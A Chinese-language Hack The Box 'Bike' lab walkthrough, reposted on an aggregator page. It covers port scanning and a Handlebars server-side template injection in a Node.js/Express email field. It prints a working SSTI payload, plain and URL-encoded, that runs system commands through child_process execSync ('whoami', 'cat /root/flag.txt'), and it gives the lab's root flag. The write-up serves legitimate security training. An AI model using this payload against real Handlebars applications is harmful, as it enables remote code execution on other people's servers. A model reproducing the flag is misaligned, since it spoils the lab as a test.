HTB:Bike[WriteUP]

news2024/10/11 23:58:44

目录

连接至HTB服务器并启动靶机

1.What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.

2.What software is running the service listening on the http/web port identified in the first question?

3.What is the name of the Web Framework according to Wappalyzer?

4.What is the name of the vulnerability we test for by submitting {{7*7}}?

5.What is the templating engine being used within Node.JS?

6.What is the name of the BurpSuite tab used to encode text?

7.In order to send special characters in our payload in an HTTP request, we'll encode the payload. What type of encoding do we use?

8.When we use a payload from HackTricks to try to run system commands, we get an error back. What is "not defined" in the response error?

9.What variable is traditionally the name of the top-level scope in the browser context, but not in Node.JS?

10.By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?

ROOT_FLAG:6b258d726d287462d60c103d0142a81c


连接至HTB服务器并启动靶机

靶机IP:10.129.122.36

分配IP:10.10.16.12


1.What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.

使用fscan对靶机进行端口扫描:

fscan -nopoc -nobr -np -no -h {TARGET_IP}

由fscan扫描结果可见,靶机开启了:22,80 共2个端口


2.What software is running the service listening on the http/web port identified in the first question?

使用nmap对靶机开放的80端口进行服务信息扫描:

nmap -sV -p 80 {TARGET_IP}

nmap扫描结果可见,VERSION栏目下的服务信息:Node.js


3.What is the name of the Web Framework according to Wappalyzer?

使用浏览器访问靶机URL,打开Wappalyzer插件查看页面技术栈:

通过Wappalyzer展示结果可见,Web所用框架为:Express


4.What is the name of the vulnerability we test for by submitting {{7*7}}?

我们尝试在E-mail输入框中输入payload:{{7*7}}

虽然没有执行预期命令,但是成功输出了一些预期外的报错

这种漏洞名为:SSTI 即服务器端模板注入(Server Side Template Injection


5.What is the templating engine being used within Node.JS?

从报错信息中,我们可以看出Node.JS正在使用模板:Handlebars


6.What is the name of the BurpSuite tab used to encode text?

打开Kali自带的BurpSuite可见用于编解码的选项卡:Decoder


7.In order to send special characters in our payload in an HTTP request, we'll encode the payload. What type of encoding do we use?

将下面的payload进行一遍URL编码:

{{#with "s" as |string|}}
 {{#with "e"}}
   {{#with split as |conslist|}}
     {{this.pop}}
     {{this.push (lookup string.sub "constructor")}}
     {{this.pop}}
     {{#with string.split as |codelist|}}
       {{this.pop}}
       {{this.push "return require('child_process').exec('whoami');"}}
       {{this.pop}}
       {{#each conslist}}
         {{#with (string.sub.apply 0 codelist)}}
           {{this}}
         {{/with}}
       {{/each}}
     {{/with}}
   {{/with}}
 {{/with}}
{{/with}}

URL编码后的payload:

%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%77%68%6f%61%6d%69%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

8.When we use a payload from HackTricks to try to run system commands, we get an error back. What is "not defined" in the response error?

直接点击Send发包,回显为:require is not defined

require 是 JavaScript 中的一个关键字,之所以会出现require is not defined,是因为它主要用于从其他模块或文件加载代码的关键字,但因为在模板引擎里require通常跑在sandbox里,这样就很有可能限制了reqiure加载模块


9.What variable is traditionally the name of the top-level scope in the browser context, but not in Node.JS?

接下来尝试使用全局对象process中的mainMoudle主模块,再调用其中的require创建一个子进程执行外部命令。通过.execSync()方法,同步外部命令,尝试绕过sandbox限制

其中gloabl代表着Node.JS中的全局变量。

再次将下面的payload进行一遍URL编码:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

10.By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?

URL编码后的payload:

%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%77%68%6f%61%6d%69%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

对email值进行填充payload后进行发包:

通过执行whoami的回显可见,当前用户是:root


接下来对下列这一行代码中的whoami进行修改

process.mainModule.require('child_process').execSync('whoami');"}}

修改成查看flag.txt文件内容:

process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}

再次将payload转换为URL编码:

转后为URL编码后的payload:

%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%63%61%74%20%2f%72%6f%6f%74%2f%66%6c%61%67%2e%74%78%74%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

点击Send开始发包:

ROOT_FLAG:6b258d726d287462d60c103d0142a81c

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2206275.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MVC案例整合Spring和Hibernate

说到整合Spring和Hibernate首先要搞清楚,整合什么? 1、使用Spring的IOC容器来生产Hibernate的SessionFactory对象实例 2、让Hibernate使用Spring的声明式事务 整合步骤 1、先加入Hibernate 2、在加入Spring,整合 新建项目,建…

38个巨魔神级APP,建议果粉收藏

本文介绍了2024年最常用的38个精选巨魔工具,整理不易,建议收藏。 工欲善其事,必先利其器。从我刚接触巨魔开始,我就发现很多人即使有了巨魔,也是两眼一摸黑。 除了多开APP、通话录音,不知道巨魔还有什么用…

图论day57|建造最大岛屿(卡码网)【截至目前,图论的最高难度】

图论day57|建造最大岛屿(卡码网)【截至目前所做的题中,图论的最高难度】 思维导图分析 104.建造最大岛屿(卡码网)【截至目前所做的题中,图论的最高难度】 思维导图分析 104.建造最大岛屿(卡码网…

文件IO及目录操作

一、文件IO 1.1 close函数&#xff08;关闭文件&#xff09; #include <unistd.h>---所需头文件 int close(int fd); 功能&#xff1a;关闭文件 参数&#xff1a;fd&#xff1a;文件描述符 返回值&#xff1a;成功返回0&#xff0c;失败返回-1&#xff0c;置位错误码 …

C#代码 串口通信晋中A2板,控制直流电机

1&#xff0c;在电脑中给晋中板中下载编译好的程序。 0x39 &#xff1a;开启电机的标识 代码&#xff1a; /********************************************************************************** **** 实验名称&#xff1a;串口通信实验 接线说明&#xff1a; 实验现象&…

NRF24L01原子HAl库学习

IRQ产生中断有低电平&#xff0c;在TxFIFI发送完收到ACk后产生&#xff0c; 在RxFIFO收到数据后也产生 达到最大重发次数也产生 工作时序&#xff0c;SCK空闲状态为0&#xff0c;CPOL0,第一个时钟沿采集数据CPHA0,SPI工作模式0 另外SPI高位先出&#xff0c;低字节先出 30个寄…

2024年秋季学期期中考试成绩查询系统-老师制作工具

随着2024年的日历逐渐翻至末尾&#xff0c;我们迎来了本年度的最后一次期中考试。对于我们这些教育工作者而言&#xff0c;这段时间无疑是充满挑战与收获的。今天&#xff0c;我要向大家推荐一个创新的工具——“易查分”&#xff0c;它将彻底革新我们传统的成绩发布流程。通过…

【瑞萨RA8D1 CPK开发板】lcd显示

1.8寸lcd使用gpio模拟spi驱动 由于板子引出的接口限制&#xff0c;故使用gpio模拟spi驱动中景园的1.8寸lcd 1.77寸液晶屏 1.8寸TFT LCD SPI TFT彩屏st7735驱动128x160高清屏-淘宝网 (taobao.com) 使用RASC 的gpio配置 根据厂家提供的驱动文件移植 #define LCD_SCLK_Clr() g…

【MySQL】CRUD增删改查操作

文章目录 CRUD简介一、Creat 新增1.单行数据全列插入2.单行数据全指定列插入3.多行数据指定列插入 二、Retrieve 检索1.全列查询 --练习阶段最简单的查询&#xff1a;&#xff08;在生产环境最好不要用&#xff01;&#xff01;&#xff09;2.指定列查询3.结果去重查询4.where条…

Tomcat部署java项目,反馈漏洞CVE-2005-4900: TLS SHA-1 安全漏洞(中危) *

根据项目反馈漏洞处理&#xff0c;修复部署SSL证书时反馈TLS1.2版本漏洞&#xff1a; 漏洞描述如下&#xff1a; 漏洞类型&#xff1a;密码学问题 漏洞描述&#xff1a; TLS &#xff08;全称 Transport Layer Security&#xff0c;安全传输层 协议&#xff09;是一套用于在两…

Qt 数据库,人脸识别

数据库 头文件 #ifndef WIDGET_H #define WIDGET_H#include <QMainWindow> #include<QSqlDatabase> QT_BEGIN_NAMESPACE namespace Ui { class widget; } QT_END_NAMESPACEclass widget : public QMainWindow {Q_OBJECTpublic:widget(QWidget *parent nullptr);…

HCIP-HarmonyOS Application Developer 习题(九)

(多选) 1、HarmonyOS多窗口交互能力提供了以下哪几种交互方式&#xff1f; A. 全局消息通知 B.平行视界 C.悬浮窗 D.分屏 答案&#xff1a;BCD 分析&#xff1a;系统提供了悬浮窗、分屏、平行视界三种多窗口交互&#xff0c;为用户在大屏幕设备上的多任务并行、便捷的临时任务…

项目 多人对话

项目 目标 多人对话仿真平台 技术点 socketIO异常多线程集合面向对象字符串GUI&#xff08;client&#xff09;… 项目开发方式 迭代开发-敏捷开发 建立模型 C/S 客户端/服务器模型(console) 服务器 package com.ffyc.tcp.one;import java.io.IOException; import java.i…

【大模型】RMS Normalization原理及实现

1.RMS Normalization的原理 说RMS Normalization之前&#xff0c;先讲Layer Normalization 和 Batch Normalization。 BN和LN是两种常见的归一化方法。它们的目的是帮助模型训练更稳定、收敛更快。BN是在Batch维度上进行归一化&#xff0c;即对同一batch中每个特征维度的值进行…

操作系统的了解及安装

一、linux系统认识 linux是指操作系统的内核&#xff0c;ubuntu是指基于这种内核的操作系统&#xff0c;Ubuntu属于Linux的一个发行版本&#xff0c;有简易的用户界面&#xff0c;完善的包管理系统&#xff0c;Ubuntu还对大多数硬件有着良好的兼容性&#xff0c;包含最新的图形…

一文区分SSTI 和 CSTI

前言 有时&#xff0c;SSTI&#xff08;服务器端模板注入&#xff09;和 CSTI&#xff08;客户端模板注入&#xff09;可能会由于它们相似的负载语法而混淆。这种混乱可能会导致渗透测试人员浪费时间尝试实现反向 shell&#xff0c;即使payload仅限于客户端。 定义 &#x1d…

10.11 QT数据库实现学生信息的增、删、改、查

.pro文件 QT core gui sql .h文件 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QSqlDatabase> //数据库管理类 #include <QSqlQuery> //数据库查寻类 #include <QSqlRecord> //记录类 #include <QMessage…

从数据到洞察:ChatGPT如何革新Python数据分析流程

导读&#xff1a;通过ChatGPT与Python的结合&#xff0c;数据分析流程得到了极大的优化和提升&#xff0c;从数据获取、清洗、代码生成到智能分析和可视化展示&#xff0c;每一步都变得更加高效和智能化。这不仅提高了分析的准确性和效率&#xff0c;还降低了技术门槛&#xff…

网络编程(18)——使用asio协程实现并发服务器

十八、day18 到目前为止&#xff0c;我们以及学习了单线程同步/异步服务器、多线程IOServicePool和多线程IOThreadPool模型&#xff0c;今天学习如何通过asio协程实现并发服务器。 并发服务器有以下几种好处&#xff1a; 协程比线程更轻量&#xff0c;创建和销毁协程的开销较…

【python】之socket编程(附带无偿源码)

本章内容 1、socket 2、IO多路复用 3、socketserver Socket socket起源于Unix&#xff0c;而Unix/Linux基本哲学之一就是“一切皆文件”&#xff0c;对于文件用【打开】【读写】【关闭】模式来操作。socket就是该模式的一个实现&#xff0c;socket即是一种特殊的文件&…